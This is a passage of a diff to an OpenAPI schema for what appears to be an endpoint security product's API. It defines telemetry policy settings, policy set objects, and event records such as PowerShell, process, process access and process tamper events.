+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry named pipe limit value
+        type: integer
+        x-nullable: true
+      telemetry_named_pipe_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry named pipe state
+        type: string
+      telemetry_network:
+        title: Telemetry network
+        type: boolean
+      telemetry_network_limit:
+        title: Telemetry network limit
+        type: boolean
+      telemetry_network_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_limit:
+        title: Telemetry network listen limit
+        type: boolean
+      telemetry_network_listen_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network listen limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry network listen state
+        type: string
+      telemetry_network_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry network state
+        type: string
+      telemetry_on_alert_enabled:
+        title: Telemetry on alert enabled
+        type: boolean
+      telemetry_on_alert_live_overrides:
+        items:
+          enum:
+            - telemetry_file_state
+            - telemetry_named_pipe_state
+            - telemetry_network_listen_state
+            - telemetry_process_access_state
+            - telemetry_process_tamper_state
+            - telemetry_raw_device_access_state
+            - telemetry_raw_socket_creation_state
+            - telemetry_registry_state
+            - telemetry_url_request_state
+            - telemetry_wmi_event_state
+          type: string
+        type: array
+      telemetry_on_alert_post_alert_max_duration_secs:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max duration secs
+        type: integer
+      telemetry_on_alert_post_alert_max_event_count:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max event count
+        type: integer
+      telemetry_on_alert_pre_alert_event_count:
+        maximum: 2147483647
+        minimum: 1
+        title: Telemetry on alert pre alert event count
+        type: integer
+      telemetry_powershell:
+        title: Telemetry powershell
+        type: boolean
+      telemetry_powershell_limit:
+        title: Telemetry powershell limit
+        type: boolean
+      telemetry_powershell_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry powershell limit value
+        type: integer
+        x-nullable: true
+      telemetry_powershell_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry powershell state
+        type: string
+      telemetry_process:
+        title: Telemetry process
+        type: boolean
+      telemetry_process_access_limit:
+        title: Telemetry process access limit
+        type: boolean
+      telemetry_process_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process access limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process access state
+        type: string
+      telemetry_process_limit:
+        title: Telemetry process limit
+        type: boolean
+      telemetry_process_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry process state
+        type: string
+      telemetry_process_tamper_limit:
+        title: Telemetry process tamper limit
+        type: boolean
+      telemetry_process_tamper_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process tamper limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_tamper_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process tamper state
+        type: string
+      telemetry_raw_device_access_limit:
+        title: Telemetry raw device access limit
+        type: boolean
+      telemetry_raw_device_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw device access limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_device_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw device access state
+        type: string
+      telemetry_raw_socket_creation_limit:
+        title: Telemetry raw socket creation limit
+        type: boolean
+      telemetry_raw_socket_creation_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw socket creation limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_socket_creation_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw socket creation state
+        type: string
+      telemetry_registry_limit:
+        title: Telemetry registry limit
+        type: boolean
+      telemetry_registry_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry registry limit value
+        type: integer
+        x-nullable: true
+      telemetry_registry_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry registry state
+        type: string
+      telemetry_remotethread:
+        title: Telemetry remotethread
+        type: boolean
+      telemetry_remotethread_limit:
+        title: Telemetry remotethread limit
+        type: boolean
+      telemetry_remotethread_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry remotethread limit value
+        type: integer
+        x-nullable: true
+      telemetry_remotethread_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry remotethread state
+        type: string
+      telemetry_scheduled_tasks_limit:
+        title: Telemetry scheduled tasks limit
+        type: boolean
+      telemetry_scheduled_tasks_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry scheduled tasks limit value
+        type: integer
+        x-nullable: true
+      telemetry_scheduled_tasks_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry scheduled tasks state
+        type: string
+      telemetry_service_limit:
+        title: Telemetry service limit
+        type: boolean
+      telemetry_service_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry service limit value
+        type: integer
+        x-nullable: true
+      telemetry_service_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry service state
+        type: string
+      telemetry_url_request_limit:
+        title: Telemetry url request limit
+        type: boolean
+      telemetry_url_request_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry url request limit value
+        type: integer
+        x-nullable: true
+      telemetry_url_request_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry url request state
+        type: string
+      telemetry_usb_activity_limit:
+        title: Telemetry usb activity limit
+        type: boolean
+      telemetry_usb_activity_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry usb activity limit value
+        type: integer
+        x-nullable: true
+      telemetry_usb_activity_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry usb activity state
+        type: string
+      telemetry_user_group_limit:
+        title: Telemetry user group limit
+        type: boolean
+      telemetry_user_group_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry user group limit value
+        type: integer
+        x-nullable: true
+      telemetry_user_group_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry user group state
+        type: string
+      telemetry_wmi_event_limit:
+        title: Telemetry wmi event limit
+        type: boolean
+      telemetry_wmi_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry wmi event limit value
+        type: integer
+        x-nullable: true
+      telemetry_wmi_event_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry wmi event state
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      thread_download_enabled:
+        title: Thread download enabled
+        type: boolean
+      use_driver:
+        readOnly: true
+        title: Use driver
+        type: boolean
+      use_isolation:
+        title: Use isolation
+        type: boolean
+      use_process_block:
+        readOnly: true
+        title: Use process block
+        type: string
+      vulnerability_policy:
+        format: uuid
+        title: Vulnerability policy
+        type: string
+        x-nullable: true
+      windows_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Windows exclusions
+        type: integer
+      windows_self_protection:
+        title: Windows self protection
+        type: boolean
+      windows_self_protection_feature_firewall:
+        title: Windows self protection feature firewall
+        type: boolean
+      windows_self_protection_feature_hosts:
+        title: Windows self protection feature hosts
+        type: boolean
+      windows_self_protection_feature_safe_mode:
+        title: Windows self protection feature safe mode
+        type: boolean
+      yara_mode:
+        maximum: 3
+        minimum: 0
+        title: Yara mode
+        type: integer
+      yara_ruleset:
+        format: uuid
+        title: Yara ruleset
+        type: string
+        x-nullable: true
+      yara_scan_libraries_load:
+        title: Yara scan libraries load
+        type: boolean
+      yara_scan_written_executable:
+        title: Yara scan written executable
+        type: boolean
+      yara_scan_written_files:
+        title: Yara scan written files
+        type: boolean
+      yara_skip_signed_ms:
+        title: Yara skip signed ms
+        type: boolean
+      yara_skip_signed_others:
+        title: Yara skip signed others
+        type: boolean
+    required:
+      - name
+    type: object
+  PolicyName:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    type: object
+  PolicySet:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_policy_id:
+        minLength: 1
+        title: Agent policy id
+        type: string
+      agent_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Agent policy name
+        type: string
+      antivirus_policy_id:
+        minLength: 1
+        title: Antivirus policy id
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      custom:
+        readOnly: true
+        title: Custom
+        type: boolean
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy_id:
+        minLength: 1
+        title: Device control policy id
+        type: string
+        x-nullable: true
+      device_control_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Device control policy name
+        type: string
+        x-nullable: true
+      fim_policy_id:
+        minLength: 1
+        title: Fim policy id
+        type: string
+        x-nullable: true
+      fim_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Fim policy name
+        type: string
+        x-nullable: true
+      firewall_policy_id:
+        minLength: 1
+        title: Firewall policy id
+        type: string
+        x-nullable: true
+      firewall_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Firewall policy name
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      vulnerability_policy_id:
+        minLength: 1
+        title: Vulnerability policy id
+        type: string
+        x-nullable: true
+      vulnerability_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Vulnerability policy name
+        type: string
+        x-nullable: true
+    required:
+      - agent_policy_id
+      - antivirus_policy_id
+      - device_control_policy_id
+      - fim_policy_id
+      - firewall_policy_id
+      - name
+      - vulnerability_policy_id
+    type: object
+  PolicySetCreate:
+    properties:
+      agent_policy_id:
+        minLength: 1
+        title: Agent policy id
+        type: string
+      antivirus_policy_id:
+        format: uuid
+        title: Antivirus policy id
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy_id:
+        format: uuid
+        title: Device control policy id
+        type: string
+        x-nullable: true
+      fim_policy_id:
+        format: uuid
+        title: Fim policy id
+        type: string
+        x-nullable: true
+      firewall_policy_id:
+        format: uuid
+        title: Firewall policy id
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      parent_policy_set_id:
+        format: uuid
+        title: Parent policy set id
+        type: string
+        x-nullable: true
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      vulnerability_policy_id:
+        format: uuid
+        title: Vulnerability policy id
+        type: string
+        x-nullable: true
+    required:
+      - agent_policy_id
+      - name
+    type: object
+  PolicySetLight:
+    properties:
+      agent_policy_id:
+        minLength: 1
+        title: Agent policy id
+        type: string
+      antivirus_policy_id:
+        minLength: 1
+        title: Antivirus policy id
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy_id:
+        minLength: 1
+        title: Device control policy id
+        type: string
+        x-nullable: true
+      fim_policy_id:
+        minLength: 1
+        title: Fim policy id
+        type: string
+        x-nullable: true
+      firewall_policy_id:
+        minLength: 1
+        title: Firewall policy id
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      parent_policy_set_id:
+        format: uuid
+        title: Parent policy set id
+        type: string
+        x-nullable: true
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      vulnerability_policy_id:
+        minLength: 1
+        title: Vulnerability policy id
+        type: string
+        x-nullable: true
+    required:
+      - agent_policy_id
+      - antivirus_policy_id
+      - device_control_policy_id
+      - fim_policy_id
+      - firewall_policy_id
+      - name
+      - vulnerability_policy_id
+    type: object
+    x-nullable: true
+  PolicySetName:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    type: object
+  PolicySetPolicies:
+    properties:
+      agent_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      antivirus_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      fim_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      firewall_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      parent_policy_set_id:
+        format: uuid
+        title: Parent policy set id
+        type: string
+        x-nullable: true
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      vulnerability_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+    required:
+      - name
+    type: object
+    x-nullable: true
+  PolicySetPolicyIdAndName:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  PolicySetRetrieve:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      agent_policy_id:
+        minLength: 1
+        title: Agent policy id
+        type: string
+      agent_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Agent policy name
+        type: string
+      antivirus_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      antivirus_policy_id:
+        minLength: 1
+        title: Antivirus policy id
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      creator:
+        title: Creator
+        type: integer
+        x-nullable: true
+      custom:
+        readOnly: true
+        title: Custom
+        type: boolean
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      device_control_policy_id:
+        minLength: 1
+        title: Device control policy id
+        type: string
+        x-nullable: true
+      device_control_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Device control policy name
+        type: string
+        x-nullable: true
+      fim_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      fim_policy_id:
+        minLength: 1
+        title: Fim policy id
+        type: string
+        x-nullable: true
+      fim_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Fim policy name
+        type: string
+        x-nullable: true
+      firewall_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      firewall_policy_id:
+        minLength: 1
+        title: Firewall policy id
+        type: string
+        x-nullable: true
+      firewall_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Firewall policy name
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      parent_policy_set:
+        $ref: '#/definitions/PolicySetPolicies'
+      parent_policy_set_id:
+        format: uuid
+        title: Parent policy set id
+        type: string
+        x-nullable: true
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      vulnerability_policy:
+        $ref: '#/definitions/PolicySetPolicyIdAndName'
+      vulnerability_policy_id:
+        minLength: 1
+        title: Vulnerability policy id
+        type: string
+        x-nullable: true
+      vulnerability_policy_name:
+        minLength: 1
+        readOnly: true
+        title: Vulnerability policy name
+        type: string
+        x-nullable: true
+    required:
+      - agent_policy_id
+      - antivirus_policy_id
+      - device_control_policy_id
+      - fim_policy_id
+      - firewall_policy_id
+      - name
+      - vulnerability_policy_id
+    type: object
+  PolicyUpdateData:
+    properties:
+      is_guard:
+        title: Is guard
+        type: boolean
+      is_scout:
+        title: Is scout
+        type: boolean
+      policy_id:
+        minLength: 1
+        title: Policy id
+        type: string
+      policy_name:
+        minLength: 1
+        title: Policy name
+        type: string
+      policy_revision:
+        title: Policy revision
+        type: integer
+    type: object
+  Powershell:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      incomplete:
+        title: Incomplete
+        type: boolean
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      script_block:
+        minLength: 1
+        title: Script block
+        type: string
+      script_path:
+        minLength: 1
+        title: Script path
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - id
+      - incomplete
+      - log_type
+      - pid
+      - process_image_path
+      - process_unique_id
+      - script_block
+      - script_path
+      - sha256
+      - signature_info
+      - signed
+      - tenant
+    type: object
+  Prefetch:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      directories:
+        minLength: 1
+        title: Directories
+        type: string
+      executable_name:
+        minLength: 1
+        title: Executable name
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      filepath:
+        minLength: 1
+        title: Filepath
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      last_executed:
+        format: date-time
+        title: Last executed
+        type: string
+      resources:
+        minLength: 1
+        title: Resources
+        type: string
+      run_count:
+        title: Run count
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - directories
+      - executable_name
+      - filename
+      - filepath
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - last_executed
+      - resources
+      - run_count
+      - tenant
+    type: object
+  Process:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      cmdline:
+        minLength: 1
+        title: Cmdline
+        type: string
+      connections:
+        $ref: '#/definitions/Connection'
+      cpu_percent:
+        title: Cpu percent
+        type: number
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      critical:
+        title: Critical
+        type: boolean
+      exe:
+        minLength: 1
+        title: Exe
+        type: string
+      fd:
+        $ref: '#/definitions/FileDescriptor'
+      handles:
+        $ref: '#/definitions/Handle'
+      hashes_requested:
+        title: Hashes requested
+        type: boolean
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      integrity_level:
+        minLength: 1
+        title: Integrity level
+        type: string
+      iskernel:
+        title: Iskernel
+        type: boolean
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      maybe_hollow:
+        title: Maybe hollow
+        type: boolean
+      mem_private_bytes:
+        title: Mem private bytes
+        type: integer
+      mem_working_set:
+        title: Mem working set
+        type: integer
+      modules:
+        $ref: '#/definitions/Module'
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      ppid:
+        title: Ppid
+        type: integer
+      process_bits:
+        title: Process bits
+        type: integer
+      session:
+        title: Session
+        type: integer
+      signature_requested:
+        title: Signature requested
+        type: boolean
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      suspicious:
+        title: Suspicious
+        type: boolean
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      threads:
+        $ref: '#/definitions/Thread'
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - cmdline
+      - connections
+      - cpu_percent
+      - create_time
+      - critical
+      - exe
+      - fd
+      - handles
+      - hashes_requested
+      - id
+      - integrity_level
+      - iskernel
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - maybe_hollow
+      - mem_private_bytes
+      - mem_working_set
+      - modules
+      - name
+      - pid
+      - ppid
+      - process_bits
+      - session
+      - signature_requested
+      - status
+      - suspicious
+      - tenant
+      - threads
+      - username
+    type: object
+  ProcessAccess:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      access:
+        title: Access
+        type: integer
+      access_str:
+        minLength: 1
+        title: Access str
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hash:
+        title: Hash
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      source_image:
+        minLength: 1
+        title: Source image
+        type: string
+      source_process_unique_id:
+        minLength: 1
+        title: Source process unique id
+        type: string
+      source_tid:
+        title: Source tid
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_full:
+        minLength: 1
+        title: Stacktrace full
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target_image:
+        minLength: 1
+        title: Target image
+        type: string
+      target_process_unique_id:
+        minLength: 1
+        title: Target process unique id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - access
+      - access_str
+      - agent
+      - event_id
+      - groups
+      - hash
+      - id
+      - log_type
+      - source_image
+      - source_process_unique_id
+      - source_tid
+      - stacktrace
+      - stacktrace_full
+      - stacktrace_minimal
+      - target_image
+      - target_process_unique_id
+      - tenant
+      - utc_time
+    type: object
+  ProcessRedaction:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      regex:
+        minLength: 1
+        title: Regex
+        type: string
+    required:
+      - id
+      - process_name
+      - regex
+    type: object
+  ProcessTamper:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_base_address:
+        title: Image base address
+        type: integer
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_entrypoint_file:
+        minLength: 1
+        title: Process entrypoint file
+        type: string
+      process_entrypoint_memory:
+        minLength: 1
+        title: Process entrypoint memory
+        type: string
+      process_header_file:
+        minLength: 1
+        title: Process header file
+        type: string
+      process_header_memory:
+        minLength: 1
+        title: Process header memory
+        type: string
+      tamper_flag:
+        title: Tamper flag
+        type: integer
+      tamper_flag_as_str:
+        minLength: 1
+        title: Tamper flag as str
+        type: string
+      target_process_unique_id:
+        minLength: 1
+        title: Target process unique id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - event_id
+      - groups
+      - id
+      - image_base_address
+      - image_name
+      - log_type
+      - pid
+      - process_entrypoint_file
+      - process_entrypoint_memory
+      - process_header_file
+      - process_header_memory
+      - tamper_flag
+      - tamper_flag_as_str
+      - target_process_unique_id
+      - tenant
+      - utc_time
+    type: object
+  Processes:
+    properties:
+      auto_download_new_files:
+        default: false
+        title: Auto download new files
+        type: boolean
+      getConnectionsList:
+        title: Getconnectionslist
+        type: boolean
+      getHandlesList:
+        title: Gethandleslist
+        type: boolean
+      getSignaturesInfo:
+        title: Getsignaturesinfo
+        type: boolean
+      maxsize_files_download:
+        default: 104857600
+        minimum: 0
+        title: Maxsize files download
+        type: integer
+    required:
+      - getConnectionsList
+      - getHandlesList
+      - getSignaturesInfo
+    type: object
+  ProcessesGraph:
+    properties:
+      calc_time:
+        title: Calc time
+        type: number
+      current_process_id:
+        minLength: 1
+        title: Current process id
+        type: string
+      edges:
+        items:
+          $ref: '#/definitions/Edges'
+        type: array
+      missing_processes:
+        additionalProperties:
+          $ref: '#/definitions/MissingProcess'
+        title: Missing processes
+        type: object
+      nodes:
+        items:
+          $ref: '#/definitions/Node'
+        type: array
+      processes:
+        additionalProperties:
+          $ref: '#/definitions/DocProcessesSerializer'
+        title: Processes
+        type: object
+    required:
+      - calc_time
+      - current_process_id
+      - edges
+      - missing_processes
+      - nodes
+      - processes
+    type: object
+  ProfileIdList:
+    properties:
+      all:
+        default: false
+        title: All
+        type: boolean
+      profile_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    type: object
+  ProfileToNetwork:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      network:
+        $ref: '#/definitions/DetailFirewallNetwork'
+      profile:
+        $ref: '#/definitions/FirewallProfile'
+    required:
+      - network
+      - profile
+    type: object
+  ProfileToNetworkId:
+    properties:
+      network_id:
+        format: uuid
+        title: Network id
+        type: string
+      profile_id:
+        format: uuid
+        title: Profile id
+        type: string
+    required:
+      - network_id
+      - profile_id
+    type: object
+    x-nullable: true
+  ProtectionPermissions:
+    properties:
+      antivirus:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Antivirus
+        type: string
+      device_control:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Device control
+        type: string
+      file_integrity_monitoring:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: File integrity monitoring
+        type: string
+      firewall:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Firewall
+        type: string
+    required:
+      - antivirus
+      - device_control
+      - file_integrity_monitoring
+      - firewall
+    type: object
+  QuarantineActionHistory:
+    properties:
+      action:
+        enum:
+          - Acquire
+          - Add
+          - Delete
+          - Restore
+        title: Action
+        type: string
+      action_result:
+        enum:
+          - Failed
+          - Success
+          - Unknown
+        title: Action result
+        type: string
+      action_result_message:
+        title: Action result message
+        type: string
+        x-nullable: true
+      action_result_reason:
+        title: Action result reason
+        type: string
+        x-nullable: true
+      action_uid:
+        format: uuid
+        title: Action uid
+        type: string
+      agent:
